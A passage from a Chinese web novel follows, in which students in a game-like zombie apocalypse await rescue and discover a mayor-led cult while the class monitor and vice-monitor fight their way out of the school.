这次无法拖延,毕竟过会儿还得出去,她需要自己的四肢正常活动。 她从口袋里拿出了药瓶。 她望向斜对面的晏逾明,确认他闭着双眼后,轻声地从药瓶中倒出一片药片,平静地咽下。 034号看着不断极速攀升的疼痛值发出尖叫声:“宿主…宿主!” 这样的疼痛,人真的不会爆炸吗! “宿主,宿主!” “我没事。”温知初冷静地靠在柜子上,脸色苍白,嘴角却轻微地上扬,“吵。” 从她的视野,那些瀑布般的血又蔓延出来,涌上了她的脚、腿、再往上涌、直接吞没整个杂物间,把她整个人都淹没进去。 温知初闭上了双眼。 这一次不是装睡,是真的昏迷式地晕睡了过去。 门缝隙的光投在她的侧脸,明明暗暗,或隐或现。 · 到了该出发的时间,晏逾明却没有喊醒温知初,他从温知初的背包旁随手拿出本书,散漫地看了起来。 杂物间内,一个人深睡着,另一个人看着已经看过一遍的《蜉蝣》。 不同于杂物间的安静,监控室内很慌乱。 学生们没有等到班长和副班长回来,但是时间不等人,必须先行开始出发。 他们按照之前的队型小心翼翼地往外挪,综合楼和礼堂楼之间的距离其实不算远,但是其间夹杂的无数丧尸让这段距离无限地拉长。 大家挪动到综合楼外,这种时候,尤其能感觉到班长的空缺。 因为只有班长会主动断后,而且断后得很好。 “班长呢,”前面的人停下脚步,“班长怎么还没来。” “是啊,要不要先别出去,等班长来了再说。” 站在队伍后面的赵平阴开口:“班长别躲哪儿享乐去了吧,不是她带我们出来的吗,人呢?” “是吗?”一声冷笑响起,章诎眯起了狐狸眼,“之前看你们都不愿意开门,我还以为你们忘了班长呢。” 他道:“现在想起来了?” “你们要等就等呗,我们在综合楼等到天黑也行。”邱任望开口,“反正救援队不等人。” 比起和班长会合,赶紧去礼堂楼等待救援队显然更重要。 学生们斟酌着,最终先离开了。 时间的流速不会因为事物的改变而改变,亘古不变、一分一秒地往后迁移,这每一分每一秒对于在丧尸群中厮杀的学生们都是煎熬。 尖叫声中,有同学被拖拽着跌倒了:“救我、救我——!” 可惜谁也救不了谁,活着的人除了往前跑,已经没有其他存活的办法。 丧尸的吼叫声和血肉被撕咬的声音不停地攻击着耳膜,鲜血四溅,洒满了一地。 天色逐渐暗了,不知不觉,已经是夜晚,又不知不觉,星星和月亮的颜色发深…已然是深夜。 昏暗的杂物间内,晏逾明的终端亮了。 是将铭发来的消息。 将铭: [你们在哪儿? ] 将铭: [礼堂楼这里有求生梯,我们从求生梯上爬到天台了。 ] 将铭: [就算这样路上也死了很多人,大家都尽力了,现在只剩下二十个出头的学生,氛围不太好。 ] 将铭: [赵平阴在求生梯上把人往下踹,被邱任望阻止了,目前没有其他动静。 ] 将铭: [救援队还没来,不过已经有联系了,估计凌晨能来。 ] 信息不停地弹出。 将铭: [还有…敌方查验的结果出来了。 ] 将铭: [赵平阴不是敌方。 ] 弹幕屏刷满问号。 [] [什么,赵平阴不是敌方? ] [他和之前那个陈里阳一样,是纯坏啊? ] [那完了,浪费了一个查验名额,目前还没找出更多的敌方啊。 ] 礼堂楼的天台,TRES的队员们也对查验的结果很惊讶。 闹了半天,看起来特别像敌方的赵平阴竟然不是敌方。 不过邱任望他们完全没有机会一起讨论这件事,只能用终端来交流。天台的气氛太差了。 天台上,受伤严重的不只一个两个,校医在人群中挪动,帮忙止血。 大家满身都是血污,还没从损失了十多个同学的气氛内恢复过来。 后知后觉地感受到了彻底的绝望和悲凉。 刚才他们只顾着逃生,根本无法停下来去看那些挣扎的同伴,理智告诉他们只能往前跑,就算停下来也无济于事。 现在人到了天台,感性和人性才慢慢地重新涌上来。 死去的不是其他人,是同甘共苦了将近两个月的同学,是末日里互相取暖的伙伴。 只是逃到礼堂楼就死了这么人,唇亡齿寒,他们的未来…真的还会好吗? 有不少人默默地哭了。 人死了真的就是死了,再也看不到了,他们还死得那么痛苦和无望,被撕裂扯开… 真的还有明天吗?末日的意思不就是人类生命的倒计时吗,其实他们就算逃到这里,也没有什么意义吧…救援队到底什么时候来… 大家的脑海里,一时间都是负面的念头。 有人宣泄情绪的方式是哭泣,有人宣泄情绪的方式是争执,抱怨起不在场的人。 有人道:“班长呢,班长为什么还没来,她真的抛弃我们了吗?” “本来应该是班长在后面断后,如果她在的话,是不是就不用死这么多人了?” “这个队型不也是班长提出来的话,说实话,这么多人一起行动根本就是不可行的。” 也有人反驳:“不是,你们是把班长当成超级英雄么?如果你们有英雄情节的话,能不能放在自己身上,不要安在其他身上。” “她怎么没来?你们倒是好意思问啊,当时你们开门的话班长不就不会和我们走散了。” “怎么?你是觉得我们没手没脚,不能断后么?” “队型不行?分开来走,死的人更多好吧,就拿被包围在队伍里面的你们这些人来说,辛苦的、受伤的是我们这些外圈的人,我们分开来走,你们只会死得更快。” 本来关系不错的学生们都争吵起来,其实也不是想争吵个结果,只是接受不了现在死了这么多人。 他们逃生的目的都是大家好好地活下来,现在死了这么多人,一瞬间,恍惚都觉得还不如留在游泳场馆。 和礼堂楼天台的嘈杂不同,综合楼的杂物间内,依旧安静到过分。 不知道过了多长时间,黑暗中响起低沉的“醒醒”。 几声后,温知初睁开了双眼。 黑暗中。 “醒了?” 温知初有些茫然地睁开了双眼,不知道自己睡了多长时间:“几点了?” 晏逾明言简意赅:“差不多该出发的时间。” 温知初闻声,拎起背包,站起身。 晏逾明推开柜子,推开门,综合楼一楼的丧尸不算多:“走。” 门被打开,温知初才看到了外面的天…是完全黑的。 刚才以为只是房间内黑,出来后,才知道天色已然完全暗了下去。 一楼墙壁上挂着的钟表上,显示的时间竟然是凌晨一点。 “副班…”温知初略微停住脚步,望向综合楼外的夜空,视线转向晏逾明,“你现在…才叫醒我?” 凌晨一点,早就超过来本该出发的下午三点。 天幕上,星星在闪烁。 “是。”夜色下,晏逾明垂眼望着她,“有问题?” 第62章 不管地面上的人类经历着什么样的悲欢离合,月光依旧明晰,浅浅地洒在礼堂楼的天台上。 已经是凌晨三点。大家的情绪安稳了些,静静地围在天台的角落休息。 从天台往远处看,从前安逸的城市早就失序,地面上行走的大部分不再是活人,而是行尸走肉的丧尸,断裂的电线垂于地面,马路上斑驳着血迹,信号灯一直定格在红灯。 慌颓的楼房间, 明亮的灯光就像是无声的嘲讽, 灯光中行走的生物,都是不再需要光亮的丧尸。 也许不久的以后, 供电系统也会崩溃。 手机信号和电视信号一样,只有少数几个号码可以打通。 学生们都望向李奂壬,因为这么多人里,只有他有手机…陈付讫留给他的手机。 “喂。”李奂壬翘着二郎腿,和对面的人说着话,“陈叔,我们到天台了,对…等了有一会儿了,我就想问问救援队大概还要多长时间来啊?” 大家都在好奇这个答案。 李奂壬“嗯”了好几声:“我们这儿倒是挺幸运的,这一片电没停,哦,是嘛…好,还有两个小时?” “行,您辛苦了。” 电话挂了。 大家也知道对面大概就是陈付讫那个市议长叔叔了。 还有两个小时救援队再来…起码真的会来。 “看什么看?”李奂壬冷着,“等会儿他们来了,你们自己解释陈付讫哪儿去了。” 众人纷纷把头转过去。 天台边缘,求生梯上响起声音,有人往下探出头,低声道:“是他们…” 班长和副班长回来了。 两人一前一后地往上攀爬,校服上皆有不少血污,支杆也被血染得通红,能看出来这一路上不是很容易。 温知初翻上来后,朝下伸出手,晏逾明抬头看了她一眼,搭上她的手,借力也翻上来。 学生们虽然之前因为班长的事儿争执过,但是不会真的把一路上的死伤怪罪在班长身上,见到她回来,不少人低声打招呼了。 也把救援队凌晨五点会到的消息都说出来了。 只有赵平阴那群人阴阳怪气地开口:“哟,俩大忙人回来了。” 他上下扫着班长副班两人:“你们该不会去哪里下了馆子回来了吧。” 温知初置若罔闻,放下背包,往礼堂楼周围看,确定四周的情况。 夜风中,她斜身坐在了天台的栏杆上,安静地往远处看。 晏逾明也放下背包,在不远处坐下。 · 凌晨五点,天色依旧漆黑,救援队真的来了。 螺旋桨的沉闷轰鸣声由远及近,尘土扬起,天台上的学生们全都站了起来。 直升机的机舱门打开,两名身着救援服的男人先后落地,还有一名救援人员坐在驾驶座上,透过玻璃往外看。 两名救援人员走上前,摘下眼睛上的护目镜,环顾四周,露出笑:“终于和大家见面了,我们是负责来接走你们的救援队。” 两个人和蔼的神情一定程度上安抚了学生们的心,众人围了上去。 温知初抬眼,瞥向他们的救援服。 这些人的救援服装和他们之前在教师宿舍楼的电视里收看的,并不是同一套。 这代表他们并不隶属于联盟。 两个救援人员目光继续环顾四周,显然在找着什么。 不用想都能知道他们在找谁。 陈付讫。 “那个…”为首的救援人员开口:“陈…” 温知初走上前,看似无意地打断他:“请问我们会被送到哪里?” 那救援人员被转移注意力,很乐意地回答:“就在那里。”他指向远处一栋有十二层高的写字楼:“那栋楼,你们应该知道的,是个办公楼,我们目前的落脚点就在那儿。” 温知初看向那栋办公楼,距离学校直线距离大概三公里开外。 温知初:“安全吗?” 她盯着那栋楼。 救援人员:“写字楼的丧尸已经被清杀过了,是绝对安全的,算是一个临时的避难点。” 温知初:“有多少人?” 救援人员:“市议长、相关工作人员,还有十几名救援队员,再加上我们中途营救的一些普通民众,加上去一共四十几个人。” 温知初略微颔首,似乎随意地问:“你们的衣服和联盟的不一样。” “啊…”救援人员望向自己的衣服,“这是因为我们不是联盟派来的,是市级编,不是联盟编,直接受市议长管理。联盟救援队还在城区其他地方救援,距离来这里还有段时间。市议长放心不下自己的亲人,所以特意让我们先过来。” 说到这个,救援人员的视线往四周晃:“所以,陈付讫呢?行政官想见他。” [完了。 ] [还真是陈付讫这条线的关系。 ] [陈付讫死了啊…] 天台的空气变得微妙。 “陈付讫、陈付讫他,”人群中,有人嗫嚅地开口,“不幸遇难了。” 学生们眼神闪避,局促地望着救援队。 “死了?” 救援人员睁大了眼:“死了?” 一脸不可置信。 “怎么就死了?你们没有开玩笑吧?” “还能怎么死的。”赵平阴冷不丁地接过话,“同学之间太团结友爱,被好班长弄死的呗。” “话不能乱说。”有同学立即反驳,“班长不是那样的人!” 赵平阴:“那你们就继续睁眼瞎吧,说不定她下一个要推的就是你们。” “我真是服了你了,能不能不要这个时候在救援队面前说这些诬陷的话,陈付讫明明是自己不小心摔倒的。” 在嘈杂的争执声中,温知初平静地开口:“他掉队后,我试图去找他,没能找回来。” 其他人附和道:“我们能证明,班长确实去找他了。” 其实救援人员根本不在意陈付讫是怎么死的,这些人的对话让他们知道,这次救援的主要目标,真的死了。 该怎么和市议长复命? 救援队的两人对视着,脸色僵硬,为首的人皱起眉,闷声拿出手机,拨通电话,走远。 接通后,他语气沉重地把陈付讫遇难的消息告诉了对方。 学生们屏息听,因为没有开免提,只能看到救援人员不停地点头:“好…好,我明白了。” 夜色依旧浓重,学生们交换眼神,等待最后的裁决。 救援人员跟赵平阴说的一样,不再带他们走么… 手机被挂断,救援人员脸色依旧沉重,却出乎意料地没有拒绝救援。 “直升机一次能运四个人。”他顿了一下,视线扫过在场的所有人,“现在一共二十二人,加上我们两个,六趟,正好。” 学生群中响起一声低呼,许多人紧绷的肩膀终于松了下来。 终于…终于能离开这个地方了。 第一批的四个学生在救援人员的示意下攀上了绳梯,爬上直升机,驾驶舱的救援人员没有多话,等人齐了,拉起控制杆,直升机升空。 螺旋桨卷起的风在天台上肆虐,吹得人衣角翻飞。第二批、第三批…每一趟拉四个人,天台上的人数逐渐减少。 温知初坐在天台的栏杆上,抬眼往天际看。 已经六点了,天际露出鱼肚白。 “班长,你不走?”有人问。 温知初略微颔首:“你们先走。” 晏逾明站在不远处,带着几分散漫地倚在栏杆上,似乎也没打算走。 五趟过去,天台上只剩下班长、副班长,还有两个救援队员。 四个人依次攀着绳梯往直升机上攀。 温知初是最后一个,正当她准备走近绳梯时,直升机驾驶员的声音却透过舱内广播传来。 “燃油不够了。” 驾驶员语气平稳,没有半分紧缺燃油的急迫,似乎只为了陈述一个事实:“最后一趟只能运三个人。” 刚爬上绳梯的救援人员闻言皱了皱眉,似乎想说什么,但还是闭上了嘴。 [什么意思,早不说晚不说偏偏班长要上去的时候说。 ] [亏我还觉得那什么市议长还是个好人。 ] [显然上头有命令,不让载有嫌疑杀了侄子的班长回去呗。 ] [是针对。 ] [那小温怎么办,要分开吗?她一个人? ] 天台上陷入片刻的沉默。 想象中的争执没有发生,温知初抬眼,看了一眼驾驶员:“好。” 她平静地开口:“我留下。” 绳梯上的救援人员有些不忍心地开口:“那这个学生一个人怎么办?” 另一个救援人员咳嗽了一声,示意他少说话,毕竟是上头的命令,就算不忍心也没办法。 “你们先走。”班长道,“我知道写字楼的位置,会去找你们。” 怎么可能…这么远的距离,没有直升机这种方便的驾驶工具,徒步从现在的城市中穿过,绝对不可能活着到达的。 那位救援人员再次不忍地朝绳梯下看,他觉得像这种学生,怎么看也不像会是杀陈付讫的人,上头的命令着实有点儿不太人道。 他张了张嘴,终究开口:“…走吧。” 螺旋桨的轰鸣声渐渐增强,直升机缓缓上升,掀起的风卷起尘灰和碎屑,整个天台陷入震耳欲聋的声响之中。 温知初站在原地,慵懒地垂下眼,已经放下了背包。 然后下一秒,风里突兀地传来一声闷响。 原本已经爬上绳梯的晏逾明毫无预兆地松开手,从半空中轻声跳了下来。 直升机上的救援人员惊愕地喊道:“喂——你怎么下去了!” 直升机在上空盘旋了一阵,见没有响应,最终离开了。 温知初略微侧过脸,不明所以地望向晏逾明。 他已经朝她走来了,两个人站在风中,衣摆翻飞。 “班长,”他盯着她,似笑非笑地耸了耸肩,“我恐高,不想坐飞机,不行么?” 第63章 034号:[阴谋, 我觉得绝对是阴谋。 ] 它根本不相信Yu是为了宿主留下来的。 弹幕也不相信副班长是为了班长而留下来的。 [想也知道以他们两个人的关系,绝对不可能有这种事发生的概率。 ] [不过我觉得有人留下来挺好的,之前也说过为了探索新的剧情, 行事必须要极端一些, 如果所有人都上了直升机直接去写字楼, 哪来其他剧情延伸的可能性。 ] [我跟你想的一样,这也是为什么知知刚才那么平静地选择留下的原因吧。 ] [所以Yu为什么留下来? ] [大概率是有什么关键事件节点? ] 034号和弹幕一个想法。 男主主动留下来和宿主待在一起这件事,怎么想都觉得有阴谋。 034号:[大概率是关键事件节点! ] 034号:[不过也有可能不是…] 034号:[宿主,男主故意留下来, 现在只有你们两个人, 他该不会想提前杀了你吧? ] 细思极恐。 粗思也恐。 034号想查杀意值佐证下自己的想法,但是域内系统信号被屏蔽的很厉害, 它看不到男主的杀意值。 暂时算了。 天台上,班长和副班长都坐在了天台栏杆下, 后背倚靠墙,两个人都若有所思的模样。 “什么意思…”温知初问,“你真的要留下来?” “他们已经走了,不可能再回来了。”晏逾明懒洋洋地低声道, “我就算现在想改变决定也走不了啊…班长。” 温知初还想说些什么。 [注意关键事件节点:对于副班长的留下来,你并不会感觉到任何正面情绪。 ] 片刻的沉默后,温知初抬眼望向已然亮透了的天色:“休息半个小时后出发。” 晏逾明:“我们一起走?” “嗯。”她顿了顿, 低声道, “不要拖我的后腿。” 淡漠的低笑声传来, 此后, 只剩下风声和沉默。 [我说吧,就两个人这个关系…] [肯定是因为关键事件节点才一起走的,没有其他可能了。 ] [话说<深渊>真就不能给他们一个不互相针对的关系么? ] 半个小时的休息时间内, 034号最不想听到的声音还是响起了。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 不过温知初这次没有吃药。 四肢在可控范围内,她平静地感受着疼痛。 半个小时过去后,两个人都站起身,温知初斜挎起背包。 “走吧。”晏逾明开口。 · 礼堂楼离南门近,要出学校,肯定选南门。 两人没有多话,快步走到救生梯边。扶着横杆快速地下楼,生锈的梯子在两人交错下楼中不断震颤。 温知初看了眼楼下的状况:“走。” 她从救生梯上翻到了礼堂楼侧墙的绕梯,两人沿着楼梯下行,楼梯间弥漫一股腐烂的血腥气,脚步踏过碎裂的玻璃与凌乱的纸张,发出细微的沙沙声。 走道间,有个尸体倒挂着,血肉模糊。 一楼走廊尽头的玻璃门是半开的,外头是空旷的校道,左侧教学楼方向不断有零散的丧尸围聚而来,缓慢却持续地朝礼堂靠近。 “右边。”温知初低声道。 两人一前一后穿过门口,迅速拐向右侧的花坛后,灌木丛枯黄零落,风吹过时,枯枝发出衰败的碰撞声,土里爬着许多虫子。 能不和丧尸正面对上就不对上,尽量保存体力,毕竟后面有无数需要他们消耗体力的事。 两人蹲在灌木外,目光环顾四周,交换眼神后,往操场方向轻声快步前行。 走的是体育馆和操场之间的那条窄道。 因为窄,所以不可能有多少丧尸会主动走进来。 墙体间,两人往前走,墙体剥落的漆面蹭上他们的校服,留下淡淡的灰痕。 拐到馆后时,道是不窄了,前方兀然响起激烈的低吼,几头丧尸拖着身体,从墙角逼近,血肉模糊的脸挤向墙间,要扑过来。 温知初撑着墙往上翻,翻出窄墙,晏逾明手中的支杆手起杆落,捅碎就近的丧尸头颅后,紧跟着翻了过去。 两人没有任何停留,继续往前跑。 期间遇到了几十成群的丧尸,两人跑跑停停,手上的支杆浸透血,绕过体育馆,终于走向通往南门的路。 越是靠近门,丧尸就越多,原本短短的路变得拥挤不堪—— 南门前,聚集大量的丧尸。 它们密密麻麻地站在校道上,无意识地游荡,堵死通往南门的所有路,就近的丧尸们争抢一条断裂的腿,背对着他们,啃咬着新鲜的血肉,血汁四溅。 显然不止他们想要逃离学校。 晏逾明淡漠地望着南门,侧头望向温知初:“去西门?” 温知初:“那里不会比南门好多少。” 晏逾明:“那只有一个办法了。” 硬闯。 温知初没有异议,攥紧手中的支杆:“嗯。” 脚步踏上水泥地的瞬间,就近的几只丧尸被声音惊动,迟缓地转过头。温知初提起手中的支杆,直直刺入其中一只的眼窝,头颅被穿破,大汪的黑血朝外喷洒。晏逾明手上的支杆劈开一只丧尸的半边颈项,尸体轰然倒地。 声音刺激来更多丧尸的注意,它们纷纷转过身,声带发出剧烈的颤动,嘶吼着扑来。 温知初抬膝踹向扑来的丧尸,丧尸被踹得震晃时,她手中的支杆扎穿丧尸的喉结,头颅断裂。 拽住一只丧尸的手腕,借力将它甩向另一只,空出的手腕迅速抬起,支杆顺势插入另一只丧尸的头颅,迅速收杆,她侧身躲过从背后扑来的丧尸们。 鲜血洒落,丧尸倒下,两人步步推进,朝南门突围。 不知杀了多少丧尸,地面血迹横流,空气中弥漫刺鼻的腥气,身上血污堆叠,粘着碎肉。 温知初抬起手,攀到了南门上,她朝下伸出手,晏逾明握住她的手,借力也翻上铁门。 门下是翻腾的、嘶吼地,不停刮蹭、摇晃铁门的丧尸,两人跨在门上,朝远处看。 外面的世界,大片的丧尸分布在不同的街道,密集地游晃着,低吼着,声音汇聚成令人毛骨悚然的嗡鸣,在空荡的楼宇间回荡。 这座城市的主人早已不是人类。 铁门震晃着,两人沉默地往远看,靠双脚,是绝对无法穿过这些迁移的丧尸群、到达那座写字楼的。 温知初收回眼,往不远处看:“有校车。” 西南方向有一辆头撞围墙的黄色大巴车,车身斑驳着血迹,玻璃窗碎了好几个,显然是里面人往外逃生时留下的痕迹,从破损的窗户往里看,能看到校车里有丧尸。 “校车里有四五个丧尸。”晏逾明道,“校车外的数量也不算多。” 算是一个比较适宜的代步工具。 “嗯。”温知初道,“走吧。” 前面那么长距离他们都走过来了,现在只剩下这么短一段路就能到达车,理应不算有多难。 可在<深渊>中,意外是不可能停止的。 [注意关键事件节点:由于长时间的奔波,作为副班长的你劳累过度,无法再支撑疲惫的身体。 ] 厚重的铁门上,晏逾明顿了顿,他略微侧过头,望向温知初。 温知初对上他的视线:“不走么?” “班长…”他道,“我好像…要出问题了。” 此话没有说完,高大修长的身躯往前仰,毫无征兆地往下坠,眨眼之间,“砰”得摔向南门下的丧尸堆。 [卧槽,卧槽!我刚才看到什么了, Yu摔下去了! ] [发生了什么了,副班长怎么主动掉下去了! ] [Yu怎么可能是自己主动跳下去的,肯定是因为有关键事件节点啊。 ] [<深渊>也太过分了,这种时候搞这种作弊手段! ] [卧槽, Yu不会出事儿吧! ] 在晏逾明往下坠的那一瞬间,温知初瞬间睁大双眼,几乎是同一时间,她从南门上跳了下去。 支杆被她反手提起,扫向那些朝副班长扑过来的丧尸。 “喂。” 她一手朝下伸,想要拽起地上的晏逾明,另一只手捅向已经扑到跟前的丧尸。 “你怎么了。” 她拽住晏逾明的手腕,把他拉起来,晏逾明的身体滚烫,透过衣料都能感觉到灼热,额前沾血的碎发垂落,双眼略显失神。 这过于高的温度一下让温知初明白了什么,她抬膝踹开几个冲过来的丧尸,撑着晏逾明,把他的手臂搭到自己肩上。 高大修长的身影靠在了少女的左肩上:“班长,你确定你这身板能撑住我?” 温知初没有多说什么:“扶稳了。” 她侧头,一手扶着晏逾明,另一只手紧攥支杆,穿行于尸群中。 “砰!” 一只丧尸的脑袋被生生打歪,倒下。 “砰!” 另一只丧尸被扫中膝盖,整个身子猛地跪倒,紧接着支杆翻转,戳穿它的颅骨。 因为拖着一个人,温知初行进的速度变慢,周围不断有丧尸被吸引着涌过来,嘶吼声剧烈到像是要把声带震断,全都围了过来。 高烧的晏逾明像是完全不在意自己的身体状况,慵懒而顺其自然地靠在温知初的身上,胳膊揽着她的肩膀和脖子,视线不明地垂眼望着她。 声音有些沙哑:“班长,要不你把我放在这儿,自己走吧。” 话虽然这么说,但是手却半点不松开,晏逾明的眼神变得幽深,好似如若温知初真的离他而去,他会紧紧地拽住她,让她和自己一起坠入深渊。 肩上的重量压着肩胛,温知初攥紧支杆,手上的支杆从来没有停过,血成股成股地从杆上往下淌,溅过来的血沿着侧脸往下划落。 四面八方的丧尸在涌动而来,嘶哑的吼叫声此起彼伏,潮水一般将他们包围。 “问题不大。”温知初平静而冷淡地往前看。 “还没到把你抛弃的程度。” 第64章 中午十二点, 盛烈的太阳照在地面上,尸群于地面成群地游晃。 城市上空盘旋的乌鸦尤其得多。 写字楼里,二十个被成功营救的学生从凌晨六点到现在, 已经在这里待了六个小时。 他们待在顶楼的大厅里, 正在吃刚刚发放的午餐。 “甚至还是热的,有肉。”有学生不禁感慨道, “我们真的好久没吃过这么正常的食物了。” 写字楼里被清理得很好,没有任何丧尸,只有活着的人,还有健全的设施。 他们被送到这里后, 吃了早饭,竟然还能按时吃中饭。 有人开口:“不过说没有晚饭。” “知足吧, 这里的早饭已经让我吃饱了,竟然还能一天吃两顿, 已经可以用伟大来形容了。”另一个人道。 “我也是这么觉得,我们已经过了二十多天只能吃面包、而且一天只能吃一顿的日子了,现在能吃上肉,我之前想都不敢想。” “还有水果。” “楼下还有淋浴间和洗衣机。” 他们在顶楼, 再也不用受地面上那些丧尸嘶吼声、撞门声的烦扰,只要不探出头往下看,待在写字楼, 就和以前还没爆发丧尸潮的日子一模一样。 “我想一辈子留在这里。”有人道。 “冤枉陈市议长了, 他真的是个好人啊, 跟陈付讫完全不一样…虽然我们到现在还没有见过他本人。” 救援人员说市议长不在写字楼里, 和其他救援人员一起出去救人了。 吃饭的除了这些学生,还有其他被救援过来的普通市民,吃完饭后, 大家围在大厅里互相交流。 这些普通市民里有老有小,最小的,还是个需要护在妈妈怀里的、六个月的小婴儿,倒是挺乖的,没怎么哭。 “你们这些学生真不容易啊,在没有救援队的情况下,竟然能在学校里存活这么长时间。”有市民感慨道。 说到这些,学生们把一路上的艰辛筛豆子般抖了出来。 市民也说起他们的际遇:“我们还是比较幸运的,一开始就被市议长派人给救出来了。” 学生堆中的邱任望觉得有些奇怪。 看这些市民,也不像早就互相认识,从交流中也能听出他们之前的住所没多靠近,那为什么,救援队会在一开始就救出这些人? 要救,也应该是一个地方一个地方地去搜救,不可能这么分散。 这些人,是和市议长有什么关系么? 他们对于是市议长的敬仰似乎有些太过了,几乎有种在赞颂的感觉。 这种蹊跷,在有个中年男人拿出一张图时,变得愈发明显。 “市议长真的人非常好,你们见到他,肯定会喜欢他的。” “他简直是黑暗中的一道光,指引我们走出这片迷途。丧尸潮之所以爆发,是因为我们人类犯下的罪太多了,市议长在指引我们走出这片迷域,我们都十分感激他。” 其他市民都纷纷附和。 中年男人从事绘画行业的,手上拿的是素描本,他翻开其中的一张素描图,素描图上画着圣父,圣父被拷在十字架上,平静地诵经,而台阶下有一道身影跪着,忠诚而认真地听着圣人父亲的教诲。 那男人将图展给学生们看,指向那个跪在地上的身影:“这就是市议长。” 坐在这男人身旁位置的屈孚宁:“……” 没想到在这里也能看到圣父救世图。 学生们的表情很是讶异,因为其他普通民众的表情都很认真,显然也认同这个事实。 …… “你们不相信么?”中年男人笑道,“当你们知道市议长救过多少人,让他们奔赴往安全的住处时,你们就该相信他是多伟大的人了。” 从他们的口中,学生们知道,市议长手下不只一个营救点,这座写字楼只是其中之一,其他地方,也分布着营救就近市民的建筑。 中年男人:“你们知道终焉教么,市议长是终焉教的代行者。” 这些市民表情不像是在开玩笑,非常和蔼而耐心地给这些学生讲解一个他们从来没听说过的宗教。 学生们都上过课,知道不要盲信邪教。 “你们没听说过也正常,毕竟之前因为联邦法律中不健全的部分,让我们终焉教无法在明面上传播。” “我们都是终焉教忠实的信徒,都向善,这也是为什么市议长愿意第一时间派人手来救我们的原因,因为善良的火种应该永存。” 学生们变得局促而安静起来,储见仲默默地放下了手中的薯片袋子,也不吃了。 从市民的口中得知,终焉教于三十年前创建,创建地正是他们这个城市,创建人是陈市议长的父亲。 “虽然终焉教是三十年前才正式创立的,但其实有几千年的历史。” 越听越觉得像是胡说,因为这些市民口中终焉教的历史,怎么听怎么都像抄袭的基督教的历史,只不过换了名字,连十字架的故事都一模一样。 “终焉教之所以叫终焉教,是钢铁终焉的缩写,意思是“唯有钢铁的律条,能审判血肉的罪孽”,我们现在身沐罪孽地遇到了末世,但是圣人终将把我们救赎。” 这些人表情之认真,好像真的无比笃信这些事。 有学生实在忍不住,指向了圣父救世图上的圣父:“这难道不是耶稣么?” 市民们皱起眉:“这都是愚昧的说法,终焉教的历史被其他宗教给抄袭了,如果不是真正的圣父显灵给圣谕者,我们可能还被蒙在鼓里。” 学生们:“……” 有点奇怪…不止有点。 这些人…真的都是信徒?所以…陈市议长救下来的普通民众,其实都是终焉教的信徒? 一时间,有种在火车上被塞传教小卡片的恍惚感。 荒诞之余,邱任望也没停止思考:“你们刚才说市议长是代行者,还说什么圣谕者,这是什么意思?” 有市民热心地解释:“圣谕者即是教会的最高精神领袖,是圣人意志的传达者,除了传教不会离开祭坛。而代行者,也就是市议长,是分散在各个地方的圣谕者的世俗代理人,来执行圣谕者所说的一切。” 感觉像是在听小说… 邱任望在脑子里翻译了一下,也就是说,像陈市议长一样在实施救人的不只一个,大概有几个,而他们上面的头头,就是那个圣谕者。 将铭开口问:“圣谕者是谁?” 市民们虔诚地将手放在胸口:“我们的罪还没有消融,无法见到伟大的圣谕者,不过在市议长的带领下,我相信我们的灵魂终将会被洗涤,到达彼岸。” 感觉是一群被洗脑得很彻底的市民,说到其他事还算正常,说到终焉教和市议长,就像是出现了第二人格一样,完全有着一层特别厚的思想之墙被筑起。 建筑这道思想之墙的人,如果真的是好人,那么这些民众除了稍微中二点应该不会有什么其他影响,但如果建筑此墙的人是有心之人… 这些都暂时不好说。 中年男人将素描上的那一页撕下,递给就近的屈孚宁:“小兄弟,我看你面善,这张图就送给你吧。” 屈孚宁沉默地拒绝了。 “没关系,我知道你们这些小同学暂时无法理解我们,也不信教,”中年男人道,“但是我相信终将有一天,我们会在同一个圣坛下相遇。” “不是。”屈孚宁道,“我信教。” 他道:“我信佛。” 中年男人:“……” 这张图最终被邱任望拿走了,拍了张照,传到了TRES的群里,共享信息。 因为中午的谈话,学生们没有再过分主动地和市民搭话。 不过这些市民除了在宗教方面过于笃信外,其余方面都还挺正常的,也没有出现那种非得强迫他人入教的行为,只要不聊市议长就不会出现这些话题。 起码现在是这样。 学生们在大厅里聚着,坐得离市民们稍远些,低声地交流着。 不知不觉,TRES的队员们聚在了一起。 “我的第二次查验出结果了。”邱任望开门见山,“赵平阴集体的另一个学生,不是敌方。” 将铭道:“我这儿的第一次查验结果也出来了,查的也是七班的,他也不是。” 赵平阴和李奂壬集体一共五个人,结果除了李奂壬和死了的陈付讫,其他三个人都被验了,都不是敌方。 将铭:“浪费了三次查验机会。” “也不能用浪费这个词。”邱任望说,“这几个人确实最可疑,尤其是那个赵平阴,算是给我们排除答案。” 章诎问:“所以你们接下来准备怎么办?” 邱任望:“这一轮我的剧情任务有些少,兑换权限的次数有限,之后可能一天才能查验一次。” “我也是,剧情任务有限。”将铭道,“按照现在的进程,接下来可能两天才能查验一次。” 屈孚宁:“有怀疑的人么?” “我有一个。”邱任望道,“高三三班的那个学委卢文于,倒也不是因为其他原因怀疑他,他的那个角色是我之前的角色,突然被换了角色,出现一个新的人物,我觉得他有一定可能性是敌方。” 章诎转向将铭:“那你呢?” “没有。”将铭道,“如果非得让我验,我可能会选救援队的一个人,他给我的感觉不太舒服。” “好。”邱任望点头,“试试吧。” 他望向写字楼的窗外:“也不知道班长他们怎么样了。” 他们来到这里后,在终端里联系温知初和晏逾明,一直没有收到回复的消息。 这么说着,他的终端亮起光屏。 Wen:[还行。 ] Wen:[目前安全。 ] Wen : [没什么大问题。 ] Q立即回复:[那就好。 ] 终端熄屏。 血珠从温知初的侧脸往下滴,落在了终端的屏幕上,她摁灭了终端。 丧尸的嘶吼声于四面八方传来,她坐在校车的驾驶座上,浑身都是血,校服、手臂都被染成了深红色。 大巴车内一片狼藉,地面上、破裂的玻璃窗沾满血迹,空气中弥漫浓重的腐臭。靠近车门的几具尸体扭曲地倒在那里,残缺的肢体散落在狭窄的过道里,可想而知刚才发生了怎样的厮杀。 左侧,晏逾明昏迷地后倚在驾驶座后的椅背,沾血的碎发遮盖住他苍白的上半张脸。 车外,丧尸群争先恐后地往南门聚集,腐烂的手掌死死扒住窗框,试图钻进来,撕裂的嘴中不断传来吼叫声,有几个已经攀了一半的身体挂在校车上。 没有时间休息。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 温知初忽视半空的电子音,踩下油门。 焦热的正午,引擎声响起。 